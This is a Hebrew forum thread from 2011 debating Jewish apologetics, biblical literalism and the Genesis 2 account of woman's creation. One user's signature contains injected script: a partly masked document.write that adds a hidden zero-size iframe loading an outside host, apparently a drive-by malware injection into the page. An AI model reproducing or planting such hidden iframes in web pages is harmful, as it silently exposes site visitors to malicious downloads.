| נשלח ב-22/11/2011 14:50 |
 |
| |
הסמינר המקוצר של פרזנט: מה מעורר ספק ביהדות
פרזנט כתב (באשכול אחר ונפתח כאשכול עצמאי בהתאם לחוקת הפורום):
הסמינר המקוצר ע"ש פרזנט* [הצגת חורים שונים בידע המדעי, הנחה שישות אמורפית ועם זאת כל יכולה יכולה לפתור כל דבר על ידי קסם >] = יש אלוהים. במרבית המקרים זה יכלול גם תמיכה בתיאורים המדעיים התנ"כיים, או לפחות אמירה ש'יש כאן משהו'. * (חלקים מסוימים ב-)העולם מאוד יפה ומרגש > יש אלוהים * אלוהים הוא טוב, מה - לא ככה? אם יש רע - זה רק מוכיח שיש עוד עולם, שבו יתקזזו הרעות שבעולם שלנו. * [אלוהים הוא כמו בנאדם רק גדול יותר ואמורפי >] אם הוא בורא עולם, ברור שהוא רוצה משהו [התעלמות מאפסותינו ביקום >] מבני האדם, ולכן שצריכות להיות 'הוראות יצרן' * מה, אתה באמת חושב שלכל זה אין משמעות? * [בספר עתיק שאין סיבה משמעותית להטיל ספק במהימנותו ובתיארוכו (לפחות מזמן 1000 שנה לאחר שנכתב על פי התיארוך) לתקופת המאורעות כתוב ש >] הוא עשה כמה ג'סטות לעם עבדים ענק בראשות מנהיג בשם משה ולאחר מכן התגלה בפני מיליוני עדים ובכך הוכיח את הקשר שלו לאותו משה. * אותו משה דיבר עם האל וכתב ספר חוקים שלו. * הרבנים הם- ותמיד היו- מאוד חכמים ומאוד מהימנים, ולכן יש להאמין להם כשאמרו שאת התורה החדשה-דה-פקטו שלהם (שעליה מבוססת היהדות האורתודוקסית כיום) הם קיבלו בעל פה במסורת איש מפי איש עד לאותו משה שאלוהים לחש לו אותה באוזן בציניות המפורסמת שלו ("אמרתי שן תחת שן ולא תחוס עיניך? LOL איך עבדתי עליכם... התכוונתי לכסף, כמובן. תמסור לנביאים" השווה: "אמרתי לעלות? LOL... לא הבטחתי שתנצחו. P:" [שופטים כ']). לחילופין ("מיכאל אברהם 2.0", אפולוגטיקה חדשנית שיצאה לראשונה בשנות ה90 של המאה ה20) מאוד סביר שעם השתנות הזמנים יש רשות למנהיגים, או לפחות לאלו שרואים עצמם ככאלו, לשנות את התורה לפי מיטב הבנתם - ובלבד שיצמידו זאת לוואטרלאך חסידיים שיכניסו כביכול את הרעיונות שלהם בפסוקי התורה. אך הקריטריון הזה מותאם לתקופתם: כדי שתהיה רשות כזו נדרשים תְּנָאִים שלמרבה הצער מתאימים אך ורק לרבנים ההם, ממש כאילו נתפרו אד הוק למידותיהם, ולכן בזמננו אי אפשר לעקוף את לשון החוק ולבטל את רוח החוק אלא רק בשיטות של עורכי דין ממולחים וערמומיים ממכללת 'צומת'. לחילופין (אפולוגטיקת "דינוזאורוס 3.0", כנ"ל), התורה תמיד הייתה בעל פה בעיקרה, והטקסט הכתוב שימש אז כמו היום להתרשמויות בלתי אמצעיות מרוחו של האל, לקווים מנחים ובלתי מחייבים כלל, ולווארטלאך על פרשת השבוע. טיעון לטובת סמכות חז"ל: הרי לא יתכן שהתורה תכיל סתירות, לא תתייחס לכל נושאי החיים ולשינויי רוח הזמן - אילולי שיש סמכות לחכמים (בני התקופה ההיא בלבד!) לטפל בבעיות אלו. ראה עוד: אדם הור-ההר ודב טיגרשטיין, "הרמנוטיקה חז"לית ואקטיביזם שיפוטי במשנתם של הסמולן אהוד ברק לעומת זו של חז"ל". * מוחמד וישו לא הראו התגלות המונים, ולכן אין לקבל מהם מאומה. * הקראים הם עוכרי ישראל שכן בוודאי שאחת או יותר מהאפולוגטיקות דלעיל צודקת. * טיעון לטובת הזרם הדתי הספציפי שלך. * רק היהדות החזיקה מעמד 3300+ שנה (אם מקבלים את התיארוך שלה שכאמור אין סיבה להטיל ספק בנכונותו), ללא שום שינויים, ומכאן שהיא נכונה. אקסטרות:
* ידע מדעי בתנ"ך/חז"ל * עדויות על קסמים של שאמאנים יהודים דתיים אורתודוקסים * דילוגי אותיות * היהדות האורותודוקסית היא דרך חיים הרבה יותר מוסרית. אין סכינים בבתי הספר, אין בנות שנכנסות להיריון לא רצוי, אין אלימות בתוך המשפחה, אין שימוש בסמים * מעמד האישה ביהדות הוא המתקדם ביותר בזמנו ואף בזמננו, עובדה - אין שלטי חוצות של דוגמניות חרדיות בביקיני. וכבר ציוו חז"ל: אוהבה כגופו ומכבדה יותר מגופו. ו-כן, ביהדות יש חלוקת תפקידים שונה בין גברים לנשים, *משל על צבא*, וכך כותבים גדולי הפסיכולוגים *ציטוטים* (כמובן שיש כאן חילוק בין מחב"תים דתיים לאומיים לחרדים, אבל אין לי הכוח להעמיק בכך). * [אם אתה מחב"ת דת"ל >] חוד החנית של הצבא הוא הנוער הערכי הדתי לאומי, לעומת הנוער החילוני שאיבד את כל הערכים. * [אם אתה מחב"ת דת"ל >] איננו כמו החרדים ('אויבו של אויבי הוא ידידי'). * סוד הזוגיות, נומרולוגיה, אסטרולוגיה, שיטת אדלר - על פי היהדות. * שולחן שבת עם חלות, נרות וילדים (עדיף 'ארים' או לכל הפחות תכולי עיניים) קטנים וחמודים, נקיים ולבושים יפה. באופן כללי, שבת זו תחושה מדהימה. התגוננות
* לא כל החרדים רוצים כפייה דתית ובפרט על שמירת שבת, למעשה זה אסור בכלל, זה רק מיעוט / לא כל הדתיים-לאומיים מסכימים עם תורת המלך. *הסבר: רובם סבורים שמה שכתוב בתורה והיה נכון פעם לא נכון היום, ראה: אפולגטיקן א' ואפולוגטיקן ב', אפולוגטיקה כלשהי ועוד מילים גבוהות, הירחון לאפולוגטיקות, pp 89-97, מכון כלשהו לאפולוגטיקה, רמת גן תשס"ט.* * מעשים של דמויות ההוד התנ"כיות שנראים לנו אי מוסריים רק נראים לנו ככאלה, בתקופתם זה היה מקובל לגמרי [ולא נדרש מהם להתעלות על כך].
* מעמד האשה: ראה לעיל
 |
|
|
|
|
| נשלח ב-23/11/2011 19:49 |
|
| |
| יהודים כתב: |  | | [מדוע גם חושב אתה שבאנגלית האמת = TRUE יותר ברורה וחד משמעית?!] |
|
TRUE היא מילה שמורה ברוב השפות(תיכנות), בשונה מ-אמת, שהיא מותרת בשימוש.
כשכתוב אמת=TRUE, משמע משתנה אמת מקבל 1, או השוואה בין המשתנה ל- TRUE. אם היה כתוב אמת=אמת, היה משמע משתנה אמת מקבל את עצמו, או השוואה בין המשתנה לעצמו. :-) :-) :-)
|
|
|
|
| נשלח ב-23/11/2011 17:50 |
|
| |
יהודים
לא הבנת. אולי מישהו/י יבוא/תבוא להסביר לך.
את השימוש באנגלית אתה כמתכנת אמור להבין - יש משתנה 'ערך אמת' של היגד, יש לו שני ערכים: FALSE ו TRUE. מה רצית שאכתוב? ערך האמת = אמת? זה לא יהיה ברור.
|
|
|
|
| נשלח ב-23/11/2011 09:06 |
|
| |
מילא "תמימות אופיינית", אך קיבעון מחשבתי גרועה הימנה.
מדוע ראית נכון לפרש "אדם זקוק לאשה" מתוך תפיסה סקסיסטית או כל תפיסה בעייתית אחרת?
[מדוע גם חושב אתה שבאנגלית האמת = TRUE יותר ברורה וחד משמעית?!]
מתוך טבע האדם ההזדקקות החומרית הינה דווקא של האשה הזקוקה לאישהּ בימים שאין היא כשירה להביא לחמה אל ביתה אם בהיריון אם בשמירת וטיפול ברכים הנולדים.
כשכתבתי "אדם זקוק לאשה" בארתי שאין זו זקיקה שיש לה זיקה לבעלי החיים או להשקפת עולם, אלא בהיות האדם חסר ביכולתו להקים בית ולכונן דעת בבנותיו. (לא כתבתי "בניו" על מנת למנוע מרדודי המחשבה ליפול במכשול ודחיית הדברים מתוך חשש שיש כאן רמז לתפיסה שוביניסטית...).
ועל כן יעזב איש את אביו ואת אמו ויראה באשתו תחליף להם, כלומר דרגה עליונה ממנו.
|
|
|
|
| נשלח ב-23/11/2011 01:45 |
|
| |
| יהודים כתב: | |
אדם שזקוק לאשה...
|
|
כאן נעוצה הבעיה שלך, וד"ל.
תבין - יש כמה חריגים שאינם עושים את הזיהוי המתבקש והאנושי כל כך בין מילים יפות ומלטפות לבין ערך אמת = TRUE. ובוודאי כאשר אותן המילים נועדו לקדם- או להגן על- או בתמימות אופיינית יוצאות מתוך- תפיסה סקסיסטית, גזענית, או כל תפיסה בעייתית אחרת.
איך אומרים?
"גם השטן מצטט פסוקים מהתנ"ך".
(זרקתי לך חבל - אתה יכול להעלב מה'השוואה' והנה לך עוד תגובה)
תוקן על ידי thepresent ב- 23/11/2011 02:17:23
|
|
|
|
| נשלח ב-23/11/2011 01:30 |
|
| |
| מיימוני כתב: | | הנוכח
אני הוא שעשיתי זאת כי גזלתם את אשכולי... אם אין בדברים כאן תשובה ואם המשיבים אינם מקפידים, אמחוק מכל וכל ואשאיר רק את הסמינר המקוצר.
יבואו בעלי התגובות ויעמדו על השור ועל הבור.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
;תגובתי לעיל והדיון עם צענערענע שייכים לאשכול הגזול, ואין להם קשר לסמינר.
הם באו בתגובת לדברי פרזנט שאין פזיזות בלעזוב את דרך התורה כשמגלים את סיפור בראשית ב'.
החזרתי אותם לאשכול "קל לשאול, קשה לענות: על חוסר האיזון בין שאלות לתשובות" בכדי שיובן ההקשר, אשמח אם ימצא להם המקום המתאים. לאשכול זה הם לא קשורים.
|
|
|
|
| נשלח ב-23/11/2011 01:05 |
|
| |
| עצכח כתב: | | צענערענע כתבה:
"האדם יועד לגדל עץ של חיים בעולם, אך שלא כחיות הוא זקוק לאשה עבור חייו עצמו. ולפיכך נברא יחידי - שיקנה דעת וחכמה שיוכל ליצור שותפות של חיים עם המתאימה לו. לאחר שקנה דעת, עד שיש בידו לקרוא שמות ליישויות העולם, והוא יכול להבחין מי היא עצם מעצמיו, עליו לברור לו את האשה הטובה לו ביותר שיחוש בה עצם מעצמיו. ובאדם הראשון היו החיות מבחן לדעתו של אדם, האם הוא בשל להבחין בין אשה לאשתו. ואחריו מה הכתוב אומר: על כן יעזב איש את אביו ואת אמו ודבק באשתו והיו לבשר אחד. לא בשר תאווה אלא בשר הצלע, בשר מבשרו. "
אכן החיות לא זקוקות לאשה עבור עצמן.
מה נפלא.
למזלינו האריה זקוק ללביאה
החמור זקוק לאתון
והסוס לסוסה.
שובניזם מגעיל שנוטף מכל שורה.
למה האיש לא נברא מצלעה של האשה?
למה האשה לא צריכה לחפש את הצלע?
למה האשה לא צריכה לקנות דעת הרי היא עקרת הבית ?(נזכרה בזה שרה שנירר,אלפי שנים לאחר נתינת התורה)
וההתייחסות לאשה כאל בשר:-בשר מבשרו מול בשר תאווה.כלשון הזהב של היהודי זה המפתח לכל הקילקול השורר עד היום בכל העולם.
כל תאור הבריאה השני מעורר קשיים עצומים.
התאור הפשטני כאן אפילו לא מתאים להדרכת חתנים תמימים.
בכללות: יש מציאות של עבד שאומר:אהבתי את אדוני.
אבל הוא לא כופה את ערכיו על אחרים ולא מתפרנס על חשבון הכלל ..
אבל זה נושא לאשכול אחר.
|
|
צענע, לקיתי בהסבר.
אדם שזקוק לאשה שלא כמו החיות - פירושו של דבר שהוא חסר ולא מסתדר לבד. זה מסביר את יוקר ערך הזוגיות וממעיט בערך נקבת החיה. שנקבת החיה אין לה שום היכרות ויחס אמיתי עם רובעה, כלומר הוא לא זקוק לה אלא לצורך רביעה.
למה האיש לא נברא מצלעה של האשה? משום שהאיש הוא שלוקה ברדיפת נשים ועל כן הוא מסוגל לבעול היום את זו ומחר את זו מבלי לחוש כי עצם היא מעצמותו. ולכן יש צורך לפנות אל הגבר ולחבב עליו את אשתו. הנשים נאמנות יותר.
ובזאת אני מקוה שהסברתי גם את החיפוש ואת הדעת. שהתורה מורה לגבר לרכוש קודם דעת ולהתייחס לנושא הזוגיות במלוא הרצינות הראויה לה. הנשים במקור מתייחסות לכך ברצינות באופן טבעי.
לגבי הקשיים בתאור הבריאה, אכן זו שאלה פשוטה שכל ילד אמור לשאול מה פשרה של בריאה באופן זה? והאם תהליך דומה עבר על החיות? ומהמקרא לא משמע לי כך אלא כי דבר משל הוא.
לגבי כפייה ופרנסה על חשבון הכלל. לא הבנתי את הקשר, אף לא באזכור אגבי.
.
|
|
|
|
|
| נשלח ב-22/11/2011 23:41 |
|
| |
למיימוני
זאת לא פעם ראשונה שאתה מפצל אשכולות כי אתה דואג לאשכולך שלא יסטה חס ושלום מהמסלול שצפית לו מראש ובסופו של דבר הפיצול מוריד את שני האשכולות לתחתית העמוד כי נפגעת ההמשכיות.
אשכול אינו דבר סטטי.
הוא מתגלגל לפי אסוציאציות אבל בסופו של יום מישהו מחזיר את הנושא וכך נשמרת הרב גוניות שלו.
ומה שנותר עכשו לעשות הוא להחזיר את העמוד הזה לאשכול המקורי .
ואם זה אינו אפשרי -להשאיר אותו כמו שהוא.
|
|
|
|
|
| נשלח ב-22/11/2011 18:43 |
|
| |
אולי השם המתאים הינו "מדריך לסמינריסט המתחיל"
|
|
|
|
| נשלח ב-22/11/2011 17:47 |
|
| |
הנוכח
אני הוא שעשיתי זאת כי גזלתם את אשכולי... אם אין בדברים כאן תשובה ואם המשיבים אינם מקפידים, אמחוק מכל וכל ואשאיר רק את הסמינר המקוצר.
יבואו בעלי התגובות ויעמדו על השור ועל הבור.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-22/11/2011 17:22 |
|
| |
עצכח
התגובות של יהודים ושל צענערענע לא מתייחסות לנושאים שהעליתי. שמא התבלבלת עם תגובה אחרת שלו, שבה תקף אותי על הלעג (כך זה נתפס בעיניו, ואני בסה"כ ציינתי... ועל זה נאמר: על ראש הג' בוער הכ') לשימוש בתמונה אידילית של שולחן שבת טהור כמקדם מכירות של היהדות.
|
|
|
|
| נשלח ב-22/11/2011 14:52 |
|
| |
צענערענע כתבה:
"האדם יועד לגדל עץ של חיים בעולם, אך שלא כחיות הוא זקוק לאשה עבור חייו עצמו. ולפיכך נברא יחידי - שיקנה דעת וחכמה שיוכל ליצור שותפות של חיים עם המתאימה לו. לאחר שקנה דעת, עד שיש בידו לקרוא שמות ליישויות העולם, והוא יכול להבחין מי היא עצם מעצמיו, עליו לברור לו את האשה הטובה לו ביותר שיחוש בה עצם מעצמיו. ובאדם הראשון היו החיות מבחן לדעתו של אדם, האם הוא בשל להבחין בין אשה לאשתו. ואחריו מה הכתוב אומר: על כן יעזב איש את אביו ואת אמו ודבק באשתו והיו לבשר אחד. לא בשר תאווה אלא בשר הצלע, בשר מבשרו. "
אכן החיות לא זקוקות לאשה עבור עצמן.
מה נפלא.
למזלינו האריה זקוק ללביאה
החמור זקוק לאתון
והסוס לסוסה.
שובניזם מגעיל שנוטף מכל שורה.
למה האיש לא נברא מצלעה של האשה?
למה האשה לא צריכה לחפש את הצלע?
למה האשה לא צריכה לקנות דעת הרי היא עקרת הבית ?(נזכרה בזה שרה שנירר,אלפי שנים לאחר נתינת התורה)
וההתייחסות לאשה כאל בשר:-בשר מבשרו מול בשר תאווה.כלשון הזהב של היהודי זה המפתח לכל הקילקול השורר עד היום בכל העולם.
כל תאור הבריאה השני מעורר קשיים עצומים.
התאור הפשטני כאן אפילו לא מתאים להדרכת חתנים תמימים.
בכללות: יש מציאות של עבד שאומר:אהבתי את אדוני.
אבל הוא לא כופה את ערכיו על אחרים ולא מתפרנס על חשבון הכלל ..
אבל זה נושא לאשכול אחר.
_________________
תוקן על ידי עצכח ב- 22/11/2011 14:54:03
|
|
|
|
|
| נשלח ב-22/11/2011 14:52 |
|
| |
בעל בעמיו כתב:
קיים ביטוי שאיני זוכר את מקורו
המקשה מקשה בכח והמתרץ עונה בדוחק
|
|
|
|
| נשלח ב-22/11/2011 14:52 |
|
| |
יהודים ענה:
| thepresent כתב: |  | חזק ואמץ
אני לא חושב שמדובר בפזיזות.
יש לי חברים שהספיקה להם הסתירה בין תיאוריית האבולוציה לסיפור הבריאה, ובוודאי לסיפור ההזוי של בראשית ב' (שאני רק שומע שוב ושוב ש: "ברור, הוא אלגוריה" בלי שמישהו הבין אלגוריה לְמַה שלא לדבר על כך שעד לממצאי המדע המודרני כולם הבינו אותו כפשוטו [כשחלקם הקטן מוצא בו אלגוריות נוספות, אולי, כפי שהוא יעשה גם לסיפור יציאת מצרים], ולראיה - על פי חז"ל 'אדם וחוה' קבורים במערת המכפלה) כדי לטעון שמקורה אנושי. עם כל הכבוד לתירוצים. או הבורות, העדר הרצון ללמוד, החשיבה הפנטסטית, החשיבה הגזענית והמיזוגינית של חז"ל, שלמעשה 'על פיהם אנחנו חיים'.
יש אנשים שהלכו יותר רחוק.
אני למשל עזבתי את הנושאים הצדדיים והעמקתי חפור בכל האפולוגטיקות כאן על ההארד קור של הדת, מבחינה עובדתית ופילוסופית, שהם נושאים בעייתיים פי אלף (שבהתאמה גם האפולוגטיקות שלהן קלושות להחריד).
לא חושב שאפשר לקרוא פזיזות לכל עמדה שאינה [להישאר ללא הכרעה לאורך 70 שנה].
|
|
הפזיזותהפזיזות היא לחבר בין ספר בראשית לספר שמות ובין שמות לויקרא ובין ויקרא לבמדבר ובין במדבר לדברים. הקישור ביניהם הידוע לנו הוא מזמן חז"ל, ומי שאינו מאמין להם אינו יכול להשליך מסיפור שהזוי בעיניו אל שאר המסופר בתורה. ומהמסופר בתורה על המסופר בהיסטוריה. האלגוריההגע בעצמך, בזכות חקר המדע אתה מבין דברים יותר טוב, אם כן למה ברור לך שהמדע לא עוזר להבין את בראשית ב' יותר טוב?! באותם זמנים הסיפור התקבל כסיפור מופשט ולאחר מכן עם ריבוי האמונות בניסים ורדידות האמונה באל כביכול ידיו חותכות בבשר האדם ובונות מצלעו - אשה, התקבל הסיפור כפשוטו. ועתה עם השלכת האמונות הטפלות אנו יכולים לשוב ולקרוא את הסיפור כפי שרצה כותבו. הייתכן? מה פתאום זה מורכב מידי ומתוחכם מידי. לא יתכן. וזו הפזיזות. ושוב פזיזותשרצונות ומאווים הקשורים בעיקר לגאווה ותודעה לפיה "אני מבין יותר מכולם", ו"כולם שקרנים וטפשים", מביאה רבים לחשוב באותה המסגרת שקיבעה אותם החברה, ואין הם פורצים לעצמם את הגבולות להבין דברים באופן פשוט יותר. הרי ספר בראשית מעיד על כותבו שכתבו מתוך ראיה מורכבת ומעמיקה על ערכים, על הטוב ועל הרע, על האמון ועל חוסר אמון, על יצר רע ועל יצר טוב, על חמס ועל תמימות, על מרמה ועל זעקת הקוזק הנגזל ועוד. וכל כולו אינו מכיל שום אות ומופת מלבד מעשה בראשית שאינו ברור דיו. וכן נגעי פרעה. (סיפור המבול ניתן להסבר פשוט יותר שאינו מופתי) רובו ככולו מתאר את את התפתחות העם היהודי וערכיו. דמויות ההוד וכשלונותיהם. מכאן שאין מטרת הספר לתאר גוזמות וניסים אלא מסרים ערכיים. ממילא אין צורך להיבהל מתאור מעשי בראשית שנכתבו בעיקר למסירת מסרים ערכיים והולבשו בסיפור מרתק. ועל מנת להבין מדוע הסיפור אינו יכול להיות כפשוטו עלינו לשאול שאלות פשוטות, מדוע טרח המספר לספר כיצד נבראה אשת האדם ומדוע לא פירט כיצד נבראו נקבות כל בעלי החיים? האם גם הנמר או היצור החתולי של אותם זמנים גם הוא נוצר יחידי, ולאחר מכן הורדם על מנת להוציא מצלעו נקבה שתהא לעזר כנגדו? ובקיצור: מדוע נבדל האדם שהיה בתחילה בודד. ועוד, שהרי לא עלתה על דעתנו שמתחילה לא נועד האדם להתרבות, ובין אם יש לו צלע יתירה ובין אם לא עדיין אינו פרה ורבה. אם כן לכאורה היה אמור בכל אופן לקבל עזר כנגדו. אם כן מדוע נוצרה בדרך זו. ובקיצור: מדוע היה צורך בעסק מיוחד ביצירת האשה.
ומכאן נוכל להתחיל להבהיר את הפרשה (ציטוט מדברים שכתבתי בעבר):
מדוע מתואר האדם בתחילה כבודד ולא כמו שאר חיות?
שבעילוי שנתעלה האדם מן החיה בהיותו בר דעת - שונה הוא מבעלי החיות. שלדורות, אין החיות מחפשות להן עזר והאדם כן.
שהאדם צריך להתבגר טרם יקח אשה, עד העת שיחוש צורך בעזר כנגדו. שהחיות יכולות להזדווג בשעה שיהיו בשלים לכך גופנית, והאדם רק כאשר יהיה בשל נפשית. שהחיות אינן יוצרות שותפות עם נקבותיהן, והאיש נעשה עמה שותף ליצירת חיים חדשים וכינון דעת הבנים.
מדוע היה צורך בעסק מיוחד ביצירת האשה?:
משום שבעת בגרות האדם, אל יתפתה לקחת לעצמו בת זוג לבנים אף לא ליופי - אלא שיהיה לו טוב עמה: "עצם מעצמי ובשר מבשרי". כלומר שכאשר רוצה האדם אשה לכונן חייו עמה, יש להקדיש לכך זמן מיוחד ולברור מתוך כל האפשרויות את האפשרות התואמת ביותר לאדם.
נמצא כי על ידי משל בריאת האשה מתוך האיש עד כדי שהאיש זיהה בה בפעם הראשונה את אישיותו -"זאת הפעם... לזאת יקרא אשה" - אנו למדים מהו היחס הראוי לבחירת אשה.
ונמצינו למדים בפרשיה קצרה זו את מבנה הזוגיות הרצוי בין האדם ואשתו:
האדם יועד לגדל עץ של חיים בעולם, אך שלא כחיות הוא זקוק לאשה עבור חייו עצמו. ולפיכך נברא יחידי - שיקנה דעת וחכמה שיוכל ליצור שותפות של חיים עם המתאימה לו. לאחר שקנה דעת, עד שיש בידו לקרוא שמות ליישויות העולם, והוא יכול להבחין מי היא עצם מעצמיו, עליו לברור לו את האשה הטובה לו ביותר שיחוש בה עצם מעצמיו. ובאדם הראשון היו החיות מבחן לדעתו של אדם, האם הוא בשל להבחין בין אשה לאשתו.
ואחריו מה הכתוב אומר: על כן יעזב איש את אביו ואת אמו ודבק באשתו והיו לבשר אחד. לא בשר תאווה אלא בשר הצלע, בשר מבשרו.
|
|
|
|
|
|
